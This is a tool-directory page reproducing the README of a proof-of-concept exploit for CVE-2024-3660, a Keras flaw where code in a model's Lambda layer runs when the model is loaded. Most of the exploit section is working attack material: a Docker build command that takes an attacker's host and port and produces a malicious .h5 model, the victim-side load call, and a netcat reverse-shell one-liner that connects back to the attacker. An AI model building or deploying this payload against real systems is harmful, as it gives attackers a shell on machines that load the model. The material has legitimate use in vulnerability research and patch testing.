Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-3660-PoC — A PoC for CVE-2024-3660. Arbitrary Code Execution in Keras. | Kitploit
Tools/GitHubGitHub/aaryanbhujang/cve-2024-3660-poc
Vulnerability AnalysisExploitationPenetration TestingPayload DevelopmentAI SecurityBinary Exploitation
GitHubaaryanbhujang/cve-2024-3660-poc

CVE-2024-3660-PoC

A PoC for CVE-2024-3660. Arbitrary Code Execution in Keras.

View Repository
41301 year agoNot yet reviewed
Share

CVE-2024-3660 – TensorFlow Keras Arbitrary Code Execution via Malicious Model

Overview

CVE-2024-3660 is an arbitrary code execution vulnerability in TensorFlow's Keras framework affecting versions < 2.13.
It allows an attacker to embed Python code inside a model (e.g., via a Lambda layer) which executes automatically when the model is loaded.

When a malicious .h5 model file is loaded in a vulnerable environment, arbitrary commands are executed with the same permissions as the loading process.


Affected Versions

  • TensorFlow's Keras < 2.13.0
  • Keras models loaded via:
    tf.keras.models.load_model("CVE20243660.h5", compile=False)
    

or in older TensorFlow versions where safe_mode is not enabled by default.

PoC Description

This PoC uses a Docker-based build to generate a malicious hack.h5 model containing a reverse shell payload. When the model is loaded in a vulnerable TensorFlow version, it connects back to the attacker's machine.

Usage

1. Build & Extract Malicious Model

docker buildx build \
  --platform linux/amd64 \
  --build-arg LHOST=<YOUR-IP> \
  --build-arg LPORT=<YOUR-PORT> \
  -t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id

2. Load the Malicious Model (Victim Side)

  • On a vulnerable TensorFlow environment (< 2.13):
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)

Payload

  • The embedded payload uses nc for a reverse shell:
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f

References

NVD CMU Oligo Secuirty

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    282

Explore all tools

Browse our collection of tools

View all tools →